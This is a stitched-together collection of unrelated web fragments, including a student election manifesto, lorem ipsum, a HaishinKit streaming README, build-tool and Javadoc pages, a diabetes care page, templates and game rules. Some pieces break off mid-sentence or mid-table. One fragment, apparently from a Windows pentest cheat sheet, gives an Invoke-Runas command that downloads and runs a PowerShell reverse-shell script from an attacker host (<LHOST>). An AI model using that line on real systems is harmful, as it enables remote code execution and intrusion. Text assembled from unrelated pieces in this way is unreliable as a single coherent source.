Special remedial classes in English and a staff council member to take care of the affairs of our friends from the North-East.
A Cafeteria, Chilling Spots, and Library facilities that run late into the night to give life to the nights at CET.
Centralised WiFi facility in college to uphold the idea of free internet facility for all.
Micro-project guidance for KTU students with the help of M-Tech students, and Project funding through eminent companies and Alumni.
A Mentorship Programme for freshers, to help them settle into the new world of college life and take calculated decisions.
A Technical Secretary post to oversee and bring together all the Technical Events and Clubs.
Orientation classes by accomplished Career Experts, to help the students tackle competitive exams like CAT, GRE, GMAT, GATE, IAS, XAT.
Facility for Big Screen Projection of CINEMA, LIVE SPORTS and other events inside the college.
We promise to conduct Dhwani ’17 in all its splendor and glory, and regain the trust and reputation associated with CET and every CETian.
A YearBook to immortalize in its pages, the emotions and memories of every Final Year CETian.
A Convocation Night to make Graduation a grand celebration.
We look forward to utilizing the immense potential vested in our MBA batches. We promise a minimum of at least one representative from the MBA batch in every organizing committee. p>
Practice sessions and training programs for the students to equip them to face the competition, and lift CET up the ranks in the University Youth Festival.
We will strive to revive “Drishti” in all its original glory and conduct “Disha” for the 1st years and “Yuva” for the second year students who were deprived of the chance to enjoy Disha.
Far far away, behind the word mountains, far from the countries Vokalia and Consonantia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean. A small river named Duden flows by their place and supplies it with the necessary regelialia.
Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name of Lorem Ipsum decided to leave for the far World of Grammar. The Big Oxmox advised her not to do so, because there were thousands of bad Commas.
Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean.
Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name of Lorem Ipsum decided to leave for the far World of Grammar.
Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name of Lorem Ipsum decided to leave for the far World of Grammar.


$def with(form, video, vid_info, keyframes, sentences, scores)
The drop-down has 1790 recipes, and 110 recipe types, taken from YouCookII training and validation sets.


5) runas
This is sometimes very useful since it doesn't require admin privileges.
The command is part of windows, but if you don't have a GUI you can use
powershell [8].
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
Elevating the current session (or "moving" it to a different context) is not possible.
You can spawn a new process in the background or other with "Start-Process . . . -Verb RunAs"
Recommend to use Fuzzy's Invoke-Runas:
Invoke-Runas -User <user> -Password <password> -Binary C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -Args "-c IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>:80/Invoke-PowerShellTcp.ps1')" -LogonType 0x1
Built-in:
Invoke-Command -Credential $cred -ScriptBlock { script } #where $cred is secure string
Start-Process -FilePath "powershell" -argumentlist "arguments" -Credential $cred #$cred is secure string


HaishinKit for iOS, macOS, tvOS, and Android.
- Camera and Microphone streaming library via RTMP, HLS for iOS, macOS, tvOS.
- API Documentation
Sponsored with 💖 by
Enterprise Grade APIs for Feeds & Chat. Try the iOS Chat tutorial 💬
💬 Communication
- If you need help with making LiveStreaming requests using HaishinKit, use a GitHub Discussions with Q&A.
- If you’d like to discuss a feature request, use a GitHub Discussions with Idea
- If you met a HaishinKit’s bug🐛, use a GitHub Issue with Bug report template
- The trace level log is very useful. Please set
LBLogger.with(HaishinKitIdentifier).level = .trace
. - If you don’t use an issue template. I will immediately close the your issue without a comment.
- The trace level log is very useful. Please set
- If you want to contribute, submit a pull request!
- If you want to support e-mail based communication without GitHub.
- Consulting fee is $50/1 incident. I’m able to response a few days.
- Discord chatroom.
- 日本語が分かる方は、日本語でのコミニケーションをお願いします！
💖 Sponsors
🎨 Features
RTMP
- [x] Authentication
- [x] Publish and Recording (H264/AAC)
- [x] Playback (Beta)
- [x] Adaptive bitrate streaming
- [x] Handling (see also #126)
- [x] Automatic drop frames
- [ ] Action Message Format
- [x] AMF0
- [ ] AMF3
- [x] SharedObject
- [x] RTMPS
- [x] Native (RTMP over SSL/TLS)
- [x] Tunneled (RTMPT over SSL/TLS) (Technical Preview)
- [x] RTMPT (Technical Preview)
- [x] ReplayKit Live as a Broadcast Upload Extension
HLS
- [x] HTTPService
- [x] HLS Publish
Multi Camera
Supports two camera video sources. A picture-in-picture display that shows the image of the secondary camera of the primary camera. Supports camera split display that displays horizontally and vertically.
| Picture-In-Picture | Split |
|---|---|
let back = AVCaptureDevice.default(.builtInWideAngleCamera, for: .video, position: .back)
stream.attachCamera(back)
if #available(iOS 13.0, *) {
let front = AVCaptureDevice.default(.builtInWideAngleCamera, for: .video, position: .front)
stream.attachMultiCamera(front)
}
Rendering
| - | HKView | PiPHKView | MTHKView |
|---|---|---|---|
| Engine | AVCaptureVideoPreviewLayer | AVSampleBufferDisplayLayer | Metal |
| Publish | ○ | ◯ | ○ |
| Playback | × | ◯ | ○ |
| VisualEffect | × | ◯ | ○ |
Others
- [x] Support multitasking camera access.
- [x] Support tvOS 11.0+ (Technical Preview)
- tvOS can’t use camera and microphone devices.
- [x] Hardware acceleration for H264 video encoding, AAC audio encoding
- [x] Support “Allow app extension API only” option
- [ ]
Support GPUImage framework (~> 0.5.12) - [ ]
Objective-C Bridging
🌏 Requirements
| - | iOS | OSX | tvOS | Xcode | Swift |
|---|---|---|---|---|---|
| 1.4.0+ | 11.0+ | 10.13+ | 10.2+ | 14.0+ | 5.7+ |
| 1.3.0+ | 11.0+ | 10.13+ | 10.2+ | 14.0+ | 5.7+ |
| 1.2.0+ | 9.0+ | 10.11+ | 10.2+ | 13.0+ | 5.5+ |
🐾 Examples
Examples project are available for iOS with UIKit, iOS with SwiftUI, macOS and tvOS.
- [x] Camera and microphone publish.
- [x] RTMP Playback
sh git clone https://github.com/shogo4405/HaishinKit.swift.git cd HaishinKit.swift carthage bootstrap --use-xcframeworks open HaishinKit.xcodeproj
☕ Cocoa Keys
Please contains Info.plist.
iOS 10.0+
- NSMicrophoneUsageDescription
- NSCameraUsageDescription
macOS 10.14+
- NSMicrophoneUsageDescription
- NSCameraUsageDescription
🔧 Installation
CocoaPods
source 'https://github.com/CocoaPods/Specs.git'
use_frameworks!
def import_pods
pod 'HaishinKit', '~> 1.4.5
end
target 'Your Target' do
platform :ios, '11.0'
import_pods
end
Carthage
github "shogo4405/HaishinKit.swift" ~> 1.4.5
Swift Package Manager
https://github.com/shogo4405/HaishinKit.swift
🔧 Prerequisites
Make sure you setup and activate your AVAudioSession iOS.
import AVFoundation
let session = AVAudioSession.sharedInstance()
do {
try session.setCategory(.playAndRecord, mode: .default, options: [.defaultToSpeaker, .allowBluetooth])
try session.setActive(true)
} catch {
print(error)
}
📓 RTMP Usage
Real Time Messaging Protocol (RTMP).
let rtmpConnection = RTMPConnection()
let rtmpStream = RTMPStream(connection: rtmpConnection)
rtmpStream.attachAudio(AVCaptureDevice.default(for: .audio)) { error in
// print(error)
}
rtmpStream.attachCamera(AVCaptureDevice.default(.builtInWideAngleCamera, for: .video, position: .back)) { error in
// print(error)
}
let hkView = HKView(frame: view.bounds)
hkView.videoGravity = AVLayerVideoGravity.resizeAspectFill
hkView.attachStream(rtmpStream)
// add ViewController#view
view.addSubview(hkView)
rtmpConnection.connect("rtmp://localhost/appName/instanceName")
rtmpStream.publish("streamName")
// if you want to record a stream.
// rtmpStream.publish("streamName", type: .localRecord)
RTMP URL Format
- rtmp://server-ip-address[:port]/application/[appInstance]/[prefix:[path1[/path2/]]]streamName
- [] mark is an Optional.
rtmpConneciton.connect("rtmp://server-ip-address[:port]/application/[appInstance]") rtmpStream.publish("[prefix:[path1[/path2/]]]streamName")
- [] mark is an Optional.
- rtmp://localhost/live/streamName
rtmpConneciton.connect("rtmp://localhost/live") rtmpStream.publish("streamName")
Settings
var stream = RTMPStream(connection: rtmpConnection)
stream.frameRate = 30
stream.sessionPreset = AVCaptureSession.Preset.medium
/// Specifies the video capture settings.
stream.videoCapture(for: 0).isVideoMirrored = false
stream.videoCapture(for: 0).preferredVideoStabilizationMode = .auto
// rtmpStream.videoCapture(for: 1).isVideoMirrored = false
// Specifies the audio codec settings.
stream.audioSettings = [
.bitrate: 32 * 1000,
]
// Specifies the video codec settings.
stream.videoSettings = [
.width: 640, // video output width
.height: 360, // video output height
.bitrate: 160 * 1000, // video output bitrate
.profileLevel: kVTProfileLevel_H264_Baseline_3_1, // H264 Profile require "import VideoToolbox"
.maxKeyFrameIntervalDuration: 2, // key frame / sec
]
// Specifies the recording settings. 0" means the same of input.
stream.startRecording([
AVMediaType.audio: [
AVFormatIDKey: Int(kAudioFormatMPEG4AAC),
AVSampleRateKey: 0,
AVNumberOfChannelsKey: 0,
// AVEncoderBitRateKey: 128000,
],
AVMediaType.video: [
AVVideoCodecKey: AVVideoCodecH264,
AVVideoHeightKey: 0,
AVVideoWidthKey: 0,
/*
AVVideoCompressionPropertiesKey: [
AVVideoMaxKeyFrameIntervalDurationKey: 2,
AVVideoProfileLevelKey: AVVideoProfileLevelH264Baseline30,
AVVideoAverageBitRateKey: 512000
]
*/
]
])
// 2nd arguemnt set false
stream.attachAudio(AVCaptureDevice.default(for: .audio), automaticallyConfiguresApplicationAudioSession: false)
// picrure in picrure settings.
stream.multiCamCaptureSettings = MultiCamCaptureSetting(
mode: .pip,
cornerRadius: 16.0,
regionOfInterest: .init(
origin: CGPoint(x: 16, y: 16),
size: .init(width: 160, height: 160)
)
)
// split settings.
stream.multiCamCaptureSettings = MultiCamCaptureSetting(
mode: .split(direction: .east),
cornerRadius: 0.0,
regionOfInterest: .init(
origin: .zero,
size: .zero
)
)
Authentication
var rtmpConnection = RTMPConnection()
rtmpConnection.connect("rtmp://username:password@localhost/appName/instanceName")
Screen Capture
// iOS
let screen = IOUIScreenCaptureUnit(shared: UIApplication.shared)
screen.delegate = rtmpStream
screen.startRunning()
// macOS
rtmpStream.attachScreen(AVCaptureScreenInput(displayID: CGMainDisplayID()))
📓 HTTP Usage
HTTP Live Streaming (HLS). Your iPhone/Mac become a IP Camera. Basic snipet. You can see http://ip.address:8080/hello/playlist.m3u8
var httpStream = HTTPStream()
httpStream.attachCamera(AVCaptureDevice.default(.builtInWideAngleCamera, for: .video, position: .back))
httpStream.attachAudio(AVCaptureDevice.default(for: .audio))
httpStream.publish("hello")
var hkView = HKView(frame: view.bounds)
hkView.attachStream(httpStream)
var httpService = HLSService(domain: "", type: "_http._tcp", name: "HaishinKit", port: 8080)
httpService.startRunning()
httpService.addHTTPStream(httpStream)
// add ViewController#view
view.addSubview(hkView)
💠 Sponsorship
Looking for sponsors. Sponsoring I will enable us to:
- Purchase smartphones or peripheral devices for testing purposes.
- Pay for testing on a specific streaming service or for testing on mobile lines.
- Potentially private use to continue the OSS development
If you use any of our libraries for work, see if your employers would be interested in sponsorship. I have some special offers. I would greatly appreciate. Thank you.
- If you request I will note your name product our README.
- If you mention on a discussion, an issue or pull request that you are sponsoring us I will prioritise helping you even higher.
スポンサーを募集しています。利用用途としては、
- テスト目的で、スマートフォンの購入や周辺機器の購入を行います。
- 特定のストリーミングサービスへのテストの支払いや、モバイル回線でのテストの支払いに利用します。
- 著書のOSS開発を継続的に行う為に私的に利用する可能性もあります。
このライブラリーを仕事で継続的に利用している場合は、ぜひ。雇用主に、スポンサーに興味がないか確認いただけると幸いです。いくつか特典を用意しています。
- README.mdへの企業ロゴの掲載
- IssueやPull Requestの優先的な対応
📖 Reference
- Adobe’s Real Time Messaging Protocol
- Action Message Format – AMF 0
- Action Message Format – AMF 3
- Video File Format Specification Version 10
- Adobe Flash Video File Format Specification Version 10.1
📜 License
BSD-3-Clause


NAME
bdep-config
– manage project build configurations
SYNOPSIS
bdep config add
[options] [prj-spec]
[@cfg-name] cfg-dir
bdep config create [options] [prj-spec]
[@cfg-name] cfg-dir [cfg-args]
bdep config list [options] [prj-spec]
[cfg-spec...]
bdep config move [options] [prj-spec]
cfg-spec cfg-dir
bdep config rename [options] [prj-spec] cfg-spec
cfg-name
bdep config remove [options] [prj-spec]
cfg-spec... | --all|-a
bdep config set [options] [prj-spec]
cfg-spec... | --all|-a
[--[no-]default]
[--[no-]forward]
[--[no-]auto-sync]
cfg-spec = @cfg-name |
--config|-c cfg-dir
prj-spec = --directory|-d prj-dir
cfg-args = [bpkg-options] [--existing|-e |
(module | cfg-var)...]
DESCRIPTION
The config
command provides the following subcommands
for managing project's build configurations. If no project directory is
specified, then the current working directory is assumed.
CONFIG SUBCOMMANDS
add
create
- The
add
subcommand adds an existingbpkg(1)
build configuration in directorycfg-dir
to the project's build configuration set. Thecreate
subcommand creates a new configuration in directorycfg-dir
by executing thebpkg-cfg-create(1)
command and passing to itcfg-args
, if any. It then proceeds asadd
by adding the new configuration to the project's build configuration set.In both subcommands, if
cfg-name
is specified, then the added configuration is given this name. Severalbdep
commands can use such names as a more convenient way to specify build configurations (seebdep-projects-configs(1)
for details).As a shortcut, if
cfg-name
is not specified andcfg-dir
is a simple path that starts with@
, then it is treated as the name and the configuration directory is assumed to beprj-dir-cfg-name
. Note that in case ofcreate
,cfg-dir
must be preceded with--
(double dash) option to disambiguate it from@cfg-name
. For example, assuming the project directory ishello
:$ bdep config add @clang # ../hello-clang $ bdep config create -- @gcc cc config.cxx=g++ # ../hello-gcc
Unless the
--no-default
option is specified, the first added or created build configuration is designated as the default. Severalbdep
commands use such a configuration by default if no configuration was specified explicitly (seebdep-projects-configs(1)
for details). To make a subsequently added configuration the default use the--default
option.The default build configuration is also designated as forwarded unless the
--no-forward
option is specified or another configuration is already designated as forwarded. When a project is initialized in a forwarded build configuration, its source directory is configured to forward to this configuration (seeb(1)
for details on forwarded configurations). To forward to a non-default configuration use the--forward
option.Unless the
--no-auto-sync
option is specified, an added or created build configuration will be automatically synchronized on every build system invocation. Note that this flag affects the entire build configuration and if multiple projects share the same configuration, then they must have a consistent auto-synchronization setting. list
- The
list
subcommand prints the list of build configurations associated with the project. Unless one or more configurations are specified explicitly,list
prints all the associate configurations. Note that the output is written toSTDOUT
, notSTDERR
. move
- The
move
subcommand assigns the specified build configuration a new directory. It is normally used after moving/renaming the configuration directory. Note that an explicitbdep-sync(1)
command is required for this change to take effect. Seebdep-projects-configs(1)
for various ways to specify a build configuration. rename
- The
rename
subcommand gives the specified build configuration a new name. Seebdep-projects-configs(1)
for various ways to specify a build configuration. remove
- The
remove
subcommand removes one or more build configurations from the project's build configuration set. Note that only configurations that have no initialized packages can be removed. Seebdep-projects-configs(1)
for various ways to specify build configurations. set
- The
set
subcommand modifies various properties of one or more build configurations associated with the project. Seebdep-projects-configs(1)
for various ways to specify build configurations.The properties that can be modified include the default (
--[no-]default
), forward (--[no-]forward
), and auto-synchronization (--[no-]auto-sync
) flags. Note that changing any of these flags requires an explicitbdep-sync(1)
command to take effect.
CONFIG OPTIONS
COMMON OPTIONS
The common options are summarized below with a more detailed description
available in bdep-common-options(1)
.
BUGS
Send bug reports to the<EMAIL_ADDRESS>mailing list.


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{{ block "main" . }} {{ end }}


{% extends 'layout/base.html' %} {% block title %}Very basic kickstart Bottle kit{% endblock %} {% block content %} Very basic Bottle kickstart kit with Vue.js and Webpack Included Axios, Babel, Webpack config and demo app with Bulma. Download Hints from SQLite Database (Vue.js + Axios) [[ article.description ]] [[ article.title ]] Uh-Oh.. I didn't find any objects in the Database! Please run $ python install.py from project dir. {% endblock %}
Please run $ python install.py from project dir.
$ python install.py


Runs a shell command of your choice to install the tool. Ubuntu example,
assuming the Hudson user is in /etc/sudoers
:
sudo apt-get --yes install openjdk-6-jdk
(In this case specify /usr/lib/jvm/java-6-openjdk
as the home directory.)
As another example, to install Sun JDK 6 for (x86) Linux, you can use DLJ:
bin=jdk-6u13-dlj-linux-i586.bin if [ \! -f $bin ] then wget --no-verbose http://download.java.net/dlj/binaries/$bin sh $bin --unpack --accept-license fi
(In this case specify jdk1.6.0_13
as the home directory.)


{% extends 'base.html'%} {% block styles%} {{ super() }} {% endblock %}{% block content%}
Pizza Place
Hawaiiaan Pizza
Kshs. 1,200.00
Vegeterian Pizza
Kshs. 1,500.00


People with diabetes can expect to live active, independent and vital lives if they make a lifelong commitment to careful diabetes management.
Key elements in diabetes management
Education: Diabetes education is an important first step. All people with diabetes need to be informed about their condition.
Physical activity: Regular physical activity helps your body lower blood glucose levels, promotes weight loss, reduces stress and enhances overall fitness.
Nutrition:
What, when and how much you eat all play an important role in regulating blood glucose levels.
Eating a balanced diet is one of the best things you can do for yourself and for your health.

Lifestyle management: Learning to reduce stress levels in day-to-day life can help people with diabetes better manage their disease.
Blood pressure: High blood pressure can lead to eye disease, heart disease, stroke and kidney disease, so people with diabetes should try to maintain a blood pressure level at or below 130/80. To do this, you may need to change your eating and physical activity habits and/or take medication.
Type 1 diabetes is always treated with insulin. Type 2 diabetes is managed through physical activity and meal planning and may require medications and/or insulin to assist your body in controlling blood glucose more effectively.
Always ensure that you see a doctor before taking any medications for diabetes


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Package org.apache.shiro.event
Interface EventBus
-
- All Known Implementing Classes:
DefaultEventBus
public interface EventBus
An event bus can publish events to event subscribers as well as provide a mechanism for registering and unregistering event subscribers. An event bus enables a publish/subscribe paradigm within Shiro - components can publish or consume events they find relevant without needing to be tightly coupled to other components. This affords great flexibility within Shiro by promoting loose coupling and high cohesion between components and a much safer pluggable architecture.Sending Events
If a component wishes to publish events to other components:MyEvent myEvent = createMyEvent(); eventBus.publish(myEvent);
The event bus will determine the type of event and then dispatch the event to components that wish to receive events of that type.Receiving Events
A component can receive events of interest by doing the following.- For each type of event you wish to consume, create a public method that accepts a single event argument. The method argument type indicates the type of event to receive.
- Annotate each of these public methods with the
Subscribe
annotation. - Register the component with the event bus:
eventBus.register(myComponent);
Subscribe
-annotated method(s) will be invoked as expected. This design (and its constituent helper components) was largely influenced by Guava's EventBus concept, although no code was viewed/copied/imported (even though Guava code is Apache 2.0 licensed and could have been used).- Since:
- 1.3
-
-
Method Summary
All Methods Instance Methods Abstract Methods Modifier and Type Method Description void
publish(Object event)
Publishes the specified event to an event subsystem that will deliver events to relevantSubscribe
rs.void
register(Object subscriber)
Registers all event handler methods on the specified instance to receive relevant events.void
unregister(Object subscriber)
Unregisters all previously-registered event handler methods on the specified instance.
-
-
-
Method Detail
-
publish
void publish(Object event)
Publishes the specified event to an event subsystem that will deliver events to relevantSubscribe
rs.- Parameters:
event
- The event object to distribute to relevant subscribers.
-
register
void register(Object subscriber)
Registers all event handler methods on the specified instance to receive relevant events. The handler methods are determined by theEventBus
implementation, typically by using anEventListenerResolver
(e.g.AnnotationEventListenerResolver
).- Parameters:
subscriber
- the object whose event handler methods should be registered to receive events.
-
unregister
void unregister(Object subscriber)
Unregisters all previously-registered event handler methods on the specified instance. If the specified object was not previously registered, calling this method has no effect.- Parameters:
subscriber
- the previously
-
-


(NASA)
Woods Hole Oceanographic Institute
Jackson et. al., 2000
The magnetic field reverses
Protoplanetary disk (NASA/JPL)
(NASA/JPL)
Courtesey of Hiro Matsui
Lillis et. al., 2013


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recordSteps(Coordinates)
- Method in class qmaze.Controller.
Episode
register(Component)
- Method in class qmaze.View.
ViewController
reset()
- Method in class qmaze.View.Components.
AgentImageComboComponent
reset()
- Method in class qmaze.View.Components.
Component
reset()
- Method in class qmaze.View.Components.
HeatMapComboComponent
reset()
- Method in class qmaze.View.Components.
InstructionsPopupComponent
reset()
- Method in class qmaze.View.Components.
LearningGridComponent
reset()
- Method in class qmaze.View.Components.
LearningParameterComponent
reset()
- Method in class qmaze.View.Components.
OptimalPathButtonComponent
reset()
- Method in class qmaze.View.Components.
ResetButtonComponent
reset()
- Method in class qmaze.View.Components.
StartTrainingComponent
reset()
- Method in class qmaze.View.MazeComponents.
QMazeGrid
RESET_STATE
- Static variable in class qmaze.View.Components.
Component
ResetButtonComponent
- Class in
qmaze.View.Components
ResetButtonComponent(ViewController)
- Constructor for class qmaze.View.Components.
ResetButtonComponent
rewardFromAction(Coordinates, Coordinates)
- Method in class qmaze.Agent.
AgentMemory
Room
- Class in
qmaze.Environment
Room(int, int)
- Constructor for class qmaze.Environment.
Room
Room(Coordinates)
- Constructor for class qmaze.Environment.
Room
roomReset()
- Method in class qmaze.View.
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@NonNullApi @NonNullFields
BeanFactory
implementation,
including a standard "spring-beans" XSD.请参阅: 说明
| 接口 | 说明 |
|---|---|
| BeanDefinitionDecorator |
Interface used by the
DefaultBeanDefinitionDocumentReader
to handle custom, nested (directly under a <bean> ) tags. |
| BeanDefinitionDocumentReader |
SPI for parsing an XML document that contains Spring bean definitions.
|
| BeanDefinitionParser |
Interface used by the
DefaultBeanDefinitionDocumentReader to handle custom,
top-level (directly under <beans/> ) tags. |
| DocumentLoader |
Strategy interface for loading an XML
Document . |
| NamespaceHandler |
Base interface used by the
DefaultBeanDefinitionDocumentReader
for handling custom namespaces in a Spring XML configuration file. |
| NamespaceHandlerResolver |
Used by the
DefaultBeanDefinitionDocumentReader to
locate a NamespaceHandler implementation for a particular namespace URI. |
| 类 | 说明 |
|---|---|
| AbstractBeanDefinitionParser |
Abstract
BeanDefinitionParser implementation providing
a number of convenience methods and a
template method
that subclasses must override to provide the actual parsing logic. |
| AbstractSimpleBeanDefinitionParser |
Convenient base class for when there exists a one-to-one mapping
between attribute names on the element that is to be parsed and
the property names on the
Class being configured. |
| AbstractSingleBeanDefinitionParser |
Base class for those
BeanDefinitionParser implementations that
need to parse and define just a single BeanDefinition . |
| BeanDefinitionParserDelegate |
Stateful delegate class used to parse XML bean definitions.
|
| BeansDtdResolver |
EntityResolver implementation for the Spring beans DTD,
to load the DTD from the Spring class path (or JAR file).
|
| DefaultBeanDefinitionDocumentReader |
Default implementation of the
BeanDefinitionDocumentReader interface that
reads bean definitions according to the "spring-beans" DTD and XSD format
(Spring's default XML bean definition format). |
| DefaultDocumentLoader |
Spring's default
DocumentLoader implementation. |
| DefaultNamespaceHandlerResolver |
Default implementation of the
NamespaceHandlerResolver interface. |
| DelegatingEntityResolver |
EntityResolver implementation that delegates to a BeansDtdResolver
and a PluggableSchemaResolver for DTDs and XML schemas, respectively. |
| DocumentDefaultsDefinition |
Simple JavaBean that holds the defaults specified at the
<beans>
level in a standard Spring XML bean definition document:
default-lazy-init , default-autowire , etc. |
| NamespaceHandlerSupport |
Support class for implementing custom
NamespaceHandlers . |
| ParserContext |
Context that gets passed along a bean definition parsing process,
encapsulating all relevant configuration as well as state.
|
| PluggableSchemaResolver |
EntityResolver implementation that attempts to resolve schema URLs into
local classpath resources using a set of mappings files. |
| ResourceEntityResolver |
EntityResolver implementation that tries to resolve entity references
through a
ResourceLoader (usually,
relative to the resource base of an ApplicationContext), if applicable. |
| SimpleConstructorNamespaceHandler |
Simple
NamespaceHandler implementation that maps custom
attributes directly through to bean properties. |
| SimplePropertyNamespaceHandler |
Simple
NamespaceHandler implementation that maps custom attributes
directly through to bean properties. |
| UtilNamespaceHandler |
NamespaceHandler for the util namespace. |
| XmlBeanDefinitionReader |
Bean definition reader for XML bean definitions.
|
| XmlBeanFactory | 已过时
as of Spring 3.1 in favor of
DefaultListableBeanFactory and
XmlBeanDefinitionReader |
| XmlReaderContext |
Extension of
ReaderContext ,
specific to use with an XmlBeanDefinitionReader . |
| 异常错误 | 说明 |
|---|---|
| XmlBeanDefinitionStoreException |
XML-specific BeanDefinitionStoreException subclass that wraps a
SAXException , typically a SAXParseException
which contains information about the error location. |
BeanFactory
implementation,
including a standard "spring-beans" XSD.


Sidebar position:
- body { color: #; background-color: # }
- a { color: # }
Offer 4 Panel Details
| Sl. |
Action |
Image |
Name |
Description |
url |
| 1 |
|
|
New Arrival |
New Arrival |
# |
| 2 |
|
|
Sarees |
Designer Sarees |
# |
| 3 |
|
|
Desiner Kurti |
Desiner Kurti |
# |
| 4 |
|
|
Look Stylish |
Feel Comfortable |
# |


| DBIConnector-class {DBI} | R Documentation |
Wraps objects of the DBIDriver class to include connection options.
The purpose of this class is to store both the driver
and the connection options.
A database connection can be established
with a call to dbConnect()
, passing only that object
without additional arguments.
To prevent leakage of passwords and other credentials,
this class supports delayed evaluation.
All arguments can optionally be a function (callable without arguments).
In such a case, the function is evaluated transparently when connecting in
dbGetConnectArgs()
.
Other DBI classes:
DBIConnection-class
,
DBIDriver-class
,
DBIObject-class
,
DBIResult-class
Other DBIConnector generics:
dbConnect()
,
dbDataType()
,
dbGetConnectArgs()
,
dbIsReadOnly()
# Create a connector: cnr <- new("DBIConnector", .drv = RSQLite::SQLite(), .conn_args = list(dbname = ":memory:") ) cnr # Establish a connection through this connector: con <- dbConnect(cnr) con # Access the database through this connection: dbGetQuery(con, "SELECT 1 AS a") dbDisconnect(con)


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- FaceTime-On-Net OR MultiPoint Private VideoConferencing - NonPublic
- Cisco Webex Teams Collaboration
- 3CX Unified Communications with PrivateChat/IM - Polycom Support - Mobile Work Phone Solutions
- Sharepoint Server Solutions with One SP Site
- Webmin Server Administration
- Visual Studio Development Resources
- GCC OpenSource Unix/Linux Compilers
- Xcode Development Platform
- CTS Grid Manager
- Fully Managed Host Compute - Up to 3 Virtual Machines Per Premise
- Real Time Monitoring - Per Family
- Business File Services & Enterprise Printing
- cPanel Personal or Business Hosting with PaperLanternDevelopment Environment
- Linux Remote Desktop with BlueFish Development Environment
- Coldfusion Builder Support
- Adobe DC Professional
- Libre Office Professional
- MAC Desktop Applications - Pages, Write, Etc
- Hosted Grid Database Services (CTS HA Templates) - Postgres SQL, MS-SQL Server, MySql, or Oracle Premium
- SDN Support - Zerotier(Free) - (Cisco - Avaya - Juniper - Microsoft - Premium)
- Micro Fully Managed - Proactive Monitoring for 5 Addresses/Sites - Additional Alarm Points - Cost+
- Unlimited Use of G/A FusionShell with 2 Hours of Installation Support
- G/A FusionOpen Backoffice Suite
- Personalized eFront Training Portal
- 1 .Info Domain + 2 Integrated Foreign Domains
- Public - 2nd DNS
Architectural Programs
- Intranet - (GAUS01) - Amazon - (CENTOS7) - (CTS PANEL-PRO-PRIVATE) - (CNC0H01) - <IP_ADDRESS> - CINCINNATI - OHIO - GREENVILLE ASSOCIATES
- Intranet - (CAPUS1) - Amazon - (WINSV19) - (CTS PANEL-PRO-WINDOWS) - (CNCOH01) - <IP_ADDRESS> - CINCINNATI - OHIO - CAPITOL TECHNOLOGY
- Intranet - (GAWEB1) - Google - (CENTOS7) - (CTS PANEL-PRO-SHARED) - (CDRIA01) - <IP_ADDRESS> - CEDAR RAPIDS - IOWA - GREENVILLE ASSOCIATES
Options - SSH/RDP/XRDP & MS-SQL Server 2019


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| Invoice number: | {{ page.invoice_number | zero_pad }} |
|---|---|
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Payment should be made within 30 days by money transfer to the following account:
| Bank: | HSBC |
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| Account Name: | My Consultancy |
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DUFFER
Copyright (c) 2002 Walter Joris
This game is played on the following 4x4 board:
- TURN - On each turn, each player must select a stone and use it to jump over an (diagonally or orthogonally) adjacent stone landing on the immediate cell (which must be empty).
- Jumps may be multiple.
- The cells where the stone started each jump are occupied by another stone.
- GOAL - Wins the player that makes the last move.
An initial move The first player picked the stone at a1 and jumped to c1 and then to a3. So, the player dropped the two marked cells.
This game can be played with just pencil and paper. It is presented at 100 Strategic Games for Pen and Paper by Walter Joris.


Documentation for this section has not yet been entered.
| Type | Description |
|---|---|
| ASCIIPropertyListParser |
Parser for ASCII property lists. Supports Apple OS X/iOS and GnuStep/NeXTSTEP format. This parser is based on the recursive descent paradigm, but the underlying grammar is not explicitely defined. Resources on ASCII property list format: https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/PropertyLists/OldStylePlists/OldStylePLists.html Property List Programming Guide - Old-Style ASCII Property Lists http://www.gnustep.org/resources/documentation/Developer/Base/Reference/NSPropertyList.html GnuStep - NSPropertyListSerialization class documentation |
| BinaryPropertyListParser |
Parses property lists that are in Apple's binary format. Use this class when you are sure about the format of the property list. Otherwise use the PropertyListParser class. Parsing is done by calling the static Claunia.PropertyList.BinaryPropertyListParser.Parse(Byte[]), Claunia.PropertyList.BinaryPropertyListParser.Parse(System.IO.FileInfo) and Claunia.PropertyList.BinaryPropertyListParser.Parse(System.IO.Stream) methods. |
| BinaryPropertyListWriter |
A BinaryPropertyListWriter is a helper class for writing out binary property list files. It contains an output stream and various structures for keeping track of which NSObjects have already been serialized, and where they were put in the file. |
| NSArray | Represents an Array. |
| NSData | NSData objects are wrappers for byte buffers |
| NSDate | Represents a date |
| NSDictionary |
A NSDictionary is a collection of keys and values, essentially a Dictionary. The keys are simple Strings whereas the values can be any kind of NSObject. You can access the keys through the function Claunia.PropertyList.NSDictionary.Keys. Access to the objects stored for each key is given through the function Claunia.PropertyList.NSDictionary.ObjectForKey(string). |
| NSNumber | A number whose value is either an integer, a real number or bool. |
| NSObject |
Abstract interface for any object contained in a property list. The names and functions of the various objects orient themselves towards Apple's Cocoa API. |
| NSSet |
A set is an interface to an unordered collection of objects. This implementation uses a List`1as the underlying data structure. |
| NSString | A NSString contains a string. |
| PropertyListFormatException | A PropertyListFormatException is thrown by the various property list format parsers when an error in the format of the given property list is encountered. |
| PropertyListParser | This class provides methods to parse property lists. It can handle files, input streams and byte arrays. All known property list formats are supported. This class also provides methods to save and convert property lists. |
| UID | An UID. Only found in binary property lists that are keyed archives. |
| XmlPropertyListParser | Parses XML property lists. |


Save & Load¶
Pypianoroll supports efficient utilities for saving and loading
pypianoroll.Multitrack
objects. The pianorolls will be first converted
to instances of scipy.sparse.csc_matrix
and then stored in a .npz file.
Functions¶
-
pypianoroll.
save
(filepath, obj, compressed=True)[source]¶ Save the object to a .npz file.
- Parameters
filepath (str) – The path to save the file.
obj (pypianoroll.Multitrack objects) – The object to be saved.
Note
The saved .npz file is basically a zip archive which contains the following files:
component arrays of the pianorolls in compressed sparse column format:
pianoroll_[index]_csc_data.npy
pianoroll_[index]_csc_indices.npy
pianoroll_[index]_csc_indptr.npy
tempo.npy
: the tempo arraydownbeat.npy
: the down beat arrayinfo.json
